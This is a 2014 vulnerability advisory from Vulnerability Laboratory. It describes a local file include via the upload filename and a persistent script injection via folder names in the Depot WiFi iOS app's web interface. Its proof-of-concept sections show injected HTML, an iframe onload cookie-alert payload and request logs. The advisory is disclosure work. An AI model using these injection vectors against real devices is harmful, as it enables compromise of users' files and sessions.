317 lines
No EOL
14 KiB
Text
317 lines
No EOL
14 KiB
Text
Document Title:
|
||
===============
|
||
Depot WiFi v1.0.0 iOS - Multiple Web Vulnerabilities
|
||
|
||
|
||
References (Source):
|
||
====================
|
||
http://www.vulnerability-lab.com/get_content.php?id=1259
|
||
|
||
|
||
Release Date:
|
||
=============
|
||
2014-04-23
|
||
|
||
|
||
Vulnerability Laboratory ID (VL-ID):
|
||
====================================
|
||
1259
|
||
|
||
|
||
Common Vulnerability Scoring System:
|
||
====================================
|
||
8.6
|
||
|
||
|
||
Product & Service Introduction:
|
||
===============================
|
||
With Depot you can archive all kinds of files on your iPhone, iPod or iPad and then share them on a local WiFi network
|
||
In Depot not only you can receive files from other applications that supports document interaction (as Mail or Safari),
|
||
but you can also download and upload files from any kind of PC and internet enabled devices. You can then open your files
|
||
directly on your device or share them between other devices such as smartphones, tablets, PCs, game consoles and smart TVs
|
||
connected through a local WiFi.
|
||
|
||
(Copy of the Homepage: https://itunes.apple.com/br/app/depot/id858248612 )
|
||
|
||
|
||
Abstract Advisory Information:
|
||
==============================
|
||
The Vulnerability Laboratory Research Team discovered multiple vulnerabilities in the official Depot v1.0.0 iOS mobile web-application.
|
||
|
||
|
||
Vulnerability Disclosure Timeline:
|
||
==================================
|
||
2014-04-23: Public Disclosure (Vulnerability Laboratory)
|
||
|
||
|
||
Discovery Status:
|
||
=================
|
||
Published
|
||
|
||
|
||
Affected Product(s):
|
||
====================
|
||
Maurizio Berioli
|
||
Product: Depot - iOS Mobile Application 1.0
|
||
|
||
|
||
Exploitation Technique:
|
||
=======================
|
||
Remote
|
||
|
||
|
||
Severity Level:
|
||
===============
|
||
High
|
||
|
||
|
||
Technical Details & Description:
|
||
================================
|
||
1.1
|
||
A local file include web vulnerability has been discovered in the official Depot v1.0.0 iOS mobile web-application. The local file include
|
||
web vulnerability allows remote attackers to unauthorized include local file/path requests or system specific path commands to compromise
|
||
the mobile web-application.
|
||
|
||
The web vulnerability is located in the `filename` value of the `+Files > Upload!` module. Remote attackers are able to inject own files with
|
||
malicious `filename` values in the `Upload!` POST method request to compromise the mobile web-application. The local file/path include execution
|
||
occurs in the `Depot index item list` context of the wifi interface. Attackers are able to inject own local file requests by usage of the `wifi interface`
|
||
path value or by a local privileged device user account via `filename sync` rename.
|
||
|
||
Remote attackers are also able to exploit the filename validation issue in combination with persistent script codes to execute different local malicious
|
||
attacks or requests. The attack vector is on the application-side of the wifi service and the request method to inject is POST. The security risk of the
|
||
local file include web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.9.
|
||
|
||
Exploitation of the local file include web vulnerability requires no privileged application user account or user interaction. Successful exploitation of
|
||
the local file include web vulnerability results in mobile application or connected device component compromise.
|
||
|
||
|
||
Request Method(s):
|
||
[+] [POST]
|
||
|
||
Vulnerable Module(s):
|
||
[+] +File > Upload!
|
||
|
||
Vulnerable Function(s):
|
||
[+] Create a new Folder (remote)
|
||
[+] rename (local sync)
|
||
|
||
Vulnerable Parameter(s):
|
||
[+] filename (path value)
|
||
|
||
Affected Module(s):
|
||
[+] Depot Index Item Listing (http://localhost/)
|
||
|
||
|
||
|
||
|
||
1.2
|
||
A code execution web vulnerability has been discovered in the official Depot v1.0.0 iOS mobile web-application. The issue allows an attacker to
|
||
compromise the application and connected device components by exploitation of system specific code execution vulnerability in the webdisk interface.
|
||
|
||
The vulnerability is located in the GET method request of the `+Folders` module. The main index provides a folders add form which is not secure
|
||
encoding the regular inputs. The context can be implemented to the folders form and the results is the application-side execution of system
|
||
specific malicious codes in the index. The file itself will not be transfered and the input generates the listing context to the index.
|
||
|
||
The input field of the +Folders module executes the wrong encoded input via GET method request by the name value. Remote attackers are able to
|
||
execute the own malicious codes by usage of a script code payload in combination with the affected system device values. The execution of the code
|
||
occurs in the main depot file dir listing context. The attack vector is on application-side and the request method to attack the service is GET.
|
||
The security risk of the remote code execution web vulnerability is estimated as critical with a cvss (common vulnerability scoring system) count of 8.9.
|
||
|
||
Exploitation of the remote code execution web vulnerability requires no privileged application user account (passwd default blank) or user interaction.
|
||
Successful exploitation of the code execution vulnerability results in mobile application compromise and connected or affected device component compromise.
|
||
|
||
|
||
Request Method(s):
|
||
[+] POST
|
||
|
||
Vulnerable Module(s):
|
||
[+] +Folders
|
||
|
||
Vulnerable Function(s):
|
||
[+] Create a new Folder (remote)
|
||
[+] rename (local sync)
|
||
|
||
Vulnerable Parameter(s):
|
||
[+] foldername
|
||
|
||
Affected Module(s):
|
||
[+] Depot Index Item Listing (http://localhost/)
|
||
|
||
|
||
Proof of Concept (PoC):
|
||
=======================
|
||
1.1
|
||
The local file include web vulnerability can be exploited by local attackers without privileged application user account or user interaction.
|
||
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
|
||
|
||
PoC: Exploit Filename Index
|
||
|
||
<input onclick="toggle(this);" type="checkbox"></div></td><td><div style="border:1px solid;text-align:center;background-color:DCF0DC;">
|
||
<a href="/?ORD=1">Name</a></div></td><td><div style="border:1px solid;text-align:center;background-color:DCF0DC;"><a href="/?ORD=2">Date</a></div></td>
|
||
<td colspan="2"><div style="border:1px solid;text-align:center;background-color:DCF0DC;"><a href="/?ORD=4">Size</a></div></td></tr>
|
||
<tr style="background-color:#F0F0F0"><td><input name="file" value="./var/x/[LOCAL FILE INCLUDE VULNERABILITY].test.png" type="checkbox"></td>
|
||
<td><a href="/./var/x/[LOCAL FILE INCLUDE VULNERABILITY].test.png">./var/x/[LOCAL FILE INCLUDE VULNERABILITY].test.png</a></td>
|
||
<td> 22.04.2014 11:37 </td><td style="text-align:right;">538.00</td><td>bytes</td>
|
||
|
||
|
||
--- POC SESSION LOGS [POST] ---
|
||
Status: 200[OK]
|
||
GET http://localhost:80/?addfile=1 Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Gr<47><72>e des Inhalts[2924] Mime Type[text/html]
|
||
Request Header:
|
||
Host[localhost:80]
|
||
User-Agent[Mozilla/5.0 (Windows NT
|
||
|
||
6.3; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0]
|
||
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
|
||
Accept-Language[de,en-US;q=0.7,en;q=0.3]
|
||
Accept-Encoding[gzip, deflate]
|
||
Referer
|
||
|
||
[http://localhost:80/]
|
||
Connection[keep-alive]
|
||
Response Header:
|
||
Content-Type[text/html]
|
||
Content-Length[2924]
|
||
Connection[close]
|
||
Cache-Control[no-cache]
|
||
|
||
|
||
Status: 200[OK]
|
||
POST http://localhost:80/ Load Flags
|
||
|
||
[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Gr<47><72>e des Inhalts[2920] Mime Type[text/html]
|
||
Request Header:
|
||
Host[localhost:80]
|
||
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0]
|
||
|
||
|
||
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
|
||
Accept-Language[de,en-US;q=0.7,en;q=0.3]
|
||
Accept-Encoding[gzip, deflate]
|
||
Referer[http://localhost:80/?addfile=1]
|
||
Connection[keep-alive]
|
||
POST-
|
||
|
||
Daten:
|
||
POST_DATA[-----------------------------2914547563213
|
||
Content-Disposition: form-data; name="mauber"; filename="./var/x/[LOCAL FILE INCLUDE VULNERABILITY].test.png"
|
||
Content-Type: image/png
|
||
|
||
|
||
Reference(s):
|
||
http://localhost:80/?addfile=
|
||
|
||
|
||
|
||
1.2
|
||
The code execution web vulnerability can be exploited by remote attackers without privileged application user account or user interaction.
|
||
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
|
||
|
||
|
||
PoC #1: Exploit Index Foldername Item
|
||
|
||
<div style="border:1px solid;text-align:center;background-color:F0F0FF;">Folders [<a href="/?adddir=1">+</a>]<br>>"%3E%22%3C.[CODE EXECUTION VULNERABILITY!]+%3C" <="" created!<="" div=""></td></tr><tr><td><div style='border:1px
|
||
|
||
solid;text-align:center;background-color:DCDCF0;'> </div></td><td><div style='border:1px solid;text-align:center;background-color:DCDCF0;'><a href='/?ORD=1'>Name</a></div></td><td colspan='3'><div style='border:1px solid;text-
|
||
|
||
align:center;background-color:DCDCF0;'><a href='/?ORD=2'>Date</a></div></td></tr><tr style='background-color:#F0F0F0'><td> </td><td>[<a href='.deviceMedia.'>.deviceMedia.</a>]</td><td colspan='3'> -
|
||
|
||
</td></tr><tr style='background-color:#FFFFFF'><td> </td><td>[<a href='/%3E%22%3C.[CODE EXECUTION VULNERABILITY!]+%3C'>%3E%22%3C.[CODE EXECUTION VULNERABILITY!]+%3C) <</a>]</td>
|
||
|
||
|
||
PoC #2: Exploit #2 Directory/Path Value
|
||
|
||
<td><a href="/"><<</a> Browsing:<b>[<a href="/">/</a>][<a href="/>"<%3E%22%3C.[CODE EXECUTION VULNERABILITY!]+%3C) <">>"<%3E%22%3C.[CODE EXECUTION VULNERABILITY!]+%3C)" <<="" a="">]</b>
|
||
<br> </td></tr><tr><td><table align='center' style='border-style:none;border-spacing:0'><tr><td colspan='5'><div style='border:1px solid;text-align:center;background-color:F0F0FF;'>
|
||
Folders [<a href='/>"<iframe src=a onload=alert(document.cookie) <?adddir=1'>+</a>]</div></td></tr><tr><td colspan='4' style='text-align: center;'>No sub-folders presents.</td></tr>
|
||
<tr><td colspan='5'> </td></tr><tr><td colspan='5'><div style='border:1px solid;text-align:center;background-color:F0FFF0;'>Files [<a href='/%3E%22%3C.[CODE EXECUTION VULNERABILITY!]+%3C) <?addfile=1'>
|
||
+</a>]</div></td></tr><tr><td colspan='4' style='text-align: center;'>No files present.</td></tr></table></td></tr></table></body></html></iframe></a></b></td>
|
||
|
||
|
||
--- POC SESSION LOGS [GET] ---
|
||
|
||
GET http://localhost:80/.createdir?newdir=%3E%22%3C.[CODE EXECUTION VULNERABILITY!]+%3C Load Flags[LOAD_FROM_CACHE ] Gr<47><72>e des Inhalts[-1] Mime Type[unbekannt]
|
||
Request Header:
|
||
Host[localhost:80]
|
||
User-Agent[Mozilla/5.0
|
||
|
||
(Windows NT 6.3; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0]
|
||
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
|
||
Accept-Language[de,en-US;q=0.7,en;q=0.3]
|
||
Accept-Encoding[gzip, deflate]
|
||
Referer
|
||
|
||
[http://localhost:80/?adddir=1]
|
||
Response Header:
|
||
|
||
|
||
11:15:44.105[31ms][total 31ms] Status: 200[OK]
|
||
GET http://localhost:80/%3E%22%3C.[CODE EXECUTION VULNERABILITY!]+%3C Load Flags[LOAD_DOCUMENT_URI ] Gr<47><72>e des Inhalts[48] Mime Type
|
||
|
||
[text/html]
|
||
Request Header:
|
||
Host[localhost:80]
|
||
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0]
|
||
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
|
||
Accept-
|
||
|
||
Language[de,en-US;q=0.7,en;q=0.3]
|
||
Accept-Encoding[gzip, deflate]
|
||
Referer[http://localhost:80/]
|
||
Connection[keep-alive]
|
||
Response Header:
|
||
Content-Type[text/html]
|
||
Content-Length[48]
|
||
Connection[close]
|
||
Cache-Control[no-cache]
|
||
|
||
|
||
|
||
Reference(s):
|
||
http://localhost:80/.createdir?newdir=
|
||
|
||
|
||
Security Risk:
|
||
==============
|
||
1.1
|
||
The security risk of the local file include web vulnerability is estimated as high.
|
||
|
||
1.2
|
||
The security risk of the code execution web vulnerability is estimated as high(+).
|
||
|
||
|
||
Credits & Authors:
|
||
==================
|
||
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]
|
||
|
||
|
||
Disclaimer & Information:
|
||
=========================
|
||
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
|
||
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
|
||
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
|
||
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
|
||
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
|
||
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
|
||
or trade with fraud/stolen material.
|
||
|
||
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
|
||
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
|
||
Section: www.vulnerability-lab.com/dev - forum.vulnerability-db.com - magazine.vulnerability-db.com
|
||
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
|
||
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
|
||
|
||
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
|
||
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
|
||
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and
|
||
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),
|
||
modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.
|
||
|
||
Copyright <20> 2014 | Vulnerability Laboratory [Evolution Security]
|
||
|
||
|
||
|
||
--
|
||
VULNERABILITY LABORATORY RESEARCH TEAM
|
||
DOMAIN: www.vulnerability-lab.com
|
||
CONTACT: research@vulnerability-lab.com |